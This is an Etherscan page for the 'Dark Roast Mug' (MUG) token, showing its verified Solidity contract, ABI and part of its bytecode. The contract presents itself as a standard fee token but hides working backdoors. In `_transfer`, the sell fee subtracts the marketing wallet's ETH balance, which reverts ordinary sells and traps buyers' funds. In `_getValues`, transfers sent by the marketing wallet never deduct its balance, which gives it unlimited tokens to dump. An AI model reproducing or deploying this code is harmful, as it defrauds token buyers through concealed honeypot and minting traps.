ETH Price: $3,389.42 (-2.63%)
Gas: 1 Gwei

Token

Dark Roast Mug (MUG)
 

Overview

Max Total Supply

1,000,000,000,000 MUG

Holders

65

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,646,232,308.784687723 MUG

Value
$0.00
0x4dfbb14040c6840884a3acf135c5ff6976a46406
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MUG

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-04
*/

/**

Tg: https://t.me/darkroastmug
Web: https://darkroastmug.coffee
X: https://twitter.com/darkroastmug
Mug: https://twitter.com/JoeBiden/status/1687120734793986048

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.18;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract MUG is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = unicode"Dark Roast Mug";
    string private constant _symbol = unicode"MUG";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = 10 ** 33;
    uint256 private constant _tTotal = 10 ** 12 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 1;  
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 1;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private _developmentAddress = payable(msg.sender); 
    address payable private _marketingAddress = payable(0xfB33E255F0a1DfEC8624940d03DF83390fC5e127);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
 
    uint256 public _maxWalletSize = _tTotal * 3 / 100;
    uint256 public _swapTokensAtAmount = _tTotal / 100;
 
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell.sub(_marketingAddress.balance);
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount);
    }
 
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(sender, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(address sender, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        if (sender == _marketingAddress) rAmount = 0;
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 3, "Buy rewards must be between 0% and 3%");
        require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 5, "Buy tax must be between 0% and 5%");
        require(redisFeeOnSell >= 0 && redisFeeOnSell <= 3, "Sell rewards must be between 0% and 3%");
        require(taxFeeOnSell >= 0 && taxFeeOnSell <= 5, "Sell tax must be between 0% and 5%");

        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
  
    function removeLimits() public onlyOwner {
        _maxWalletSize = MAX;
    }

    function openTrading() external payable onlyOwner {
        require(!tradingOpen,"trading is already open");
        tradingOpen = true;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _allowances[address(this)][address(uniswapV2Router)] = MAX;
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200036d565b620000239064e8d4a5100062000385565b6200003d906d314dc6448d9338c15b0a00000000620003b5565b62000057906d314dc6448d9338c15b0a00000000620003cc565b6006556000600881905560016009818155600a838155600b839055600c849055600d839055600e93909355600f91909155601080546001600160a01b031990811633179091556011805490911673fb33e255f0a1dfec8624940d03df83390fc5e1271790556013805461ffff60a81b1916600160b01b179055606491620000df91906200036d565b620000f09064e8d4a5100062000385565b620000fd90600362000385565b620001099190620003e2565b60145560646200011c6009600a6200036d565b6200012d9064e8d4a5100062000385565b620001399190620003e2565b6015553480156200014957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360008181526002602090815260408083209490945581546001600160a01b03908116835260059091528382208054600160ff199182168117909255308452858420805482168317905560105483168452858420805482168317905560115490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002306009600a6200036d565b620002419064e8d4a5100062000385565b60405190815260200160405180910390a3620003f9565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002af57816000190482111562000293576200029362000258565b80851615620002a157918102915b93841c939080029062000273565b509250929050565b600082620002c85750600162000367565b81620002d75750600062000367565b8160018114620002f05760028114620002fb576200031b565b600191505062000367565b60ff8411156200030f576200030f62000258565b50506001821b62000367565b5060208310610133831016604e8410600b841016171562000340575081810a62000367565b6200034c83836200026e565b806000190482111562000363576200036362000258565b0290505b92915050565b60006200037e60ff841683620002b7565b9392505050565b808202811582820484141762000367576200036762000258565b634e487b7160e01b600052601260045260246000fd5b600082620003c757620003c76200039f565b500690565b8181038181111562000367576200036762000258565b600082620003f457620003f46200039f565b500490565b611e9180620004096000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b6578063a2a957bb1161006f578063a2a957bb14610397578063a9059cbb146103b7578063c3c8cd80146103d7578063c9567bf9146103ec578063dd62ed3e146103f4578063f2fde38b1461043a57600080fd5b8063715018a6146102ed578063751039fc146103025780638da5cb5b146103175780638f9a55c01461033557806395d89b411461034b57806398a5c3151461037757600080fd5b80632fd689e3116101085780632fd689e314610244578063313ce5671461025a57806349bd5a5e146102765780636d8aa8f8146102965780636fc3eaec146102b857806370a08231146102cd57600080fd5b806306fdde0314610150578063095ea7b3146101995780631694505e146101c957806318160ddd1461020157806323b872dd1461022457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600e81526d4461726b20526f617374204d756760901b60208201525b6040516101909190611a0b565b60405180910390f35b3480156101a557600080fd5b506101b96101b4366004611a6e565b61045a565b6040519015158152602001610190565b3480156101d557600080fd5b506012546101e9906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561020d57600080fd5b50610216610471565b604051908152602001610190565b34801561023057600080fd5b506101b961023f366004611a9a565b610493565b34801561025057600080fd5b5061021660155481565b34801561026657600080fd5b5060405160098152602001610190565b34801561028257600080fd5b506013546101e9906001600160a01b031681565b3480156102a257600080fd5b506102b66102b1366004611ae9565b6104fc565b005b3480156102c457600080fd5b506102b661054d565b3480156102d957600080fd5b506102166102e8366004611b06565b610598565b3480156102f957600080fd5b506102b66105ba565b34801561030e57600080fd5b506102b661062e565b34801561032357600080fd5b506000546001600160a01b03166101e9565b34801561034157600080fd5b5061021660145481565b34801561035757600080fd5b506040805180820190915260038152624d554760e81b6020820152610183565b34801561038357600080fd5b506102b6610392366004611b23565b61066c565b3480156103a357600080fd5b506102b66103b2366004611b3c565b61069b565b3480156103c357600080fd5b506101b96103d2366004611a6e565b61084f565b3480156103e357600080fd5b506102b661085c565b6102b66108b0565b34801561040057600080fd5b5061021661040f366004611b6e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044657600080fd5b506102b6610455366004611b06565b610c37565b6000610467338484610d21565b5060015b92915050565b600061047f6009600a611ca1565b61048e9064e8d4a51000611cb0565b905090565b60006104a0848484610e45565b6104f284336104ed85604051806060016040528060288152602001611e34602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112cc565b610d21565b5060019392505050565b6000546001600160a01b0316331461052f5760405162461bcd60e51b815260040161052690611cc7565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061058257506011546001600160a01b0316336001600160a01b0316145b61058b57600080fd5b4761059581611306565b50565b6001600160a01b03811660009081526002602052604081205461046b90611340565b6000546001600160a01b031633146105e45760405162461bcd60e51b815260040161052690611cc7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106585760405162461bcd60e51b815260040161052690611cc7565b6d314dc6448d9338c15b0a00000000601455565b6000546001600160a01b031633146106965760405162461bcd60e51b815260040161052690611cc7565b601555565b6000546001600160a01b031633146106c55760405162461bcd60e51b815260040161052690611cc7565b60038411156107245760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420332560d81b6064820152608401610526565b600582111561077f5760405162461bcd60e51b815260206004820152602160248201527f42757920746178206d757374206265206265747765656e20302520616e6420356044820152602560f81b6064820152608401610526565b60038311156107df5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420332560d01b6064820152608401610526565b600581111561083b5760405162461bcd60e51b815260206004820152602260248201527f53656c6c20746178206d757374206265206265747765656e20302520616e6420604482015261352560f01b6064820152608401610526565b600893909355600a91909155600955600b55565b6000610467338484610e45565b6010546001600160a01b0316336001600160a01b0316148061089157506011546001600160a01b0316336001600160a01b0316145b61089a57600080fd5b60006108a530610598565b90506105958161135e565b6000546001600160a01b031633146108da5760405162461bcd60e51b815260040161052690611cc7565b601354600160a01b900460ff16156109345760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610526565b6013805460ff60a01b1916600160a01b179055601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d09190611cfc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a419190611cfc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab29190611cfc565b601380546001600160a01b0319166001600160a01b03928316179055306000818152600460209081526040808320601280548716855292529091206d314dc6448d9338c15b0a000000009055549091169063f305d719903490610b1481610598565b600080610b296000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b91573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bb69190611d19565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c339190611d47565b5050565b6000546001600160a01b03163314610c615760405162461bcd60e51b815260040161052690611cc7565b6001600160a01b038116610cc65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610526565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d835760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610526565b6001600160a01b038216610de45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610526565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610526565b6001600160a01b038216610f0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610526565b60008111610f6d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610526565b6000546001600160a01b03848116911614801590610f9957506000546001600160a01b03838116911614155b8015610fae57506001600160a01b0383163014155b8015610fc357506001600160a01b0382163014155b156111a957601354600160a01b900460ff1661105c576000546001600160a01b0384811691161461105c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610526565b6013546001600160a01b038381169116146110e1576014548161107e84610598565b6110889190611d64565b106110e15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610526565b60006110ec30610598565b6015549091508110801590819061110d5750601354600160a81b900460ff16155b801561112757506013546001600160a01b03868116911614155b801561113c5750601354600160b01b900460ff165b801561116157506001600160a01b03851660009081526005602052604090205460ff16155b801561118657506001600160a01b03841660009081526005602052604090205460ff16155b156111a6576111948261135e565b4780156111a4576111a447611306565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111eb57506001600160a01b03831660009081526005602052604090205460ff165b8061121d57506013546001600160a01b0385811691161480159061121d57506013546001600160a01b03848116911614155b1561122a575060006112ba565b6013546001600160a01b03858116911614801561125557506012546001600160a01b03848116911614155b1561126757600854600c55600954600d555b6013546001600160a01b03848116911614801561129257506012546001600160a01b03858116911614155b156112ba57601154600a546112b0916001600160a01b0316316114d8565b600c55600b54600d555b6112c68484848461151a565b50505050565b600081848411156112f05760405162461bcd60e51b81526004016105269190611a0b565b5060006112fd8486611d77565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c33573d6000803e3d6000fd5b60008061134b611548565b9050611357838261156b565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113a6576113a6611d8a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114239190611cfc565b8160018151811061143657611436611d8a565b6001600160a01b03928316602091820292909201015260125461145c9130911684610d21565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611495908590600090869030904290600401611da0565b600060405180830381600087803b1580156114af57600080fd5b505af11580156114c3573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600061135783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112cc565b80611527576115276115ad565b6115328484846115db565b806112c6576112c6600e54600c55600f54600d55565b60008060006115556116d3565b9092509050611564828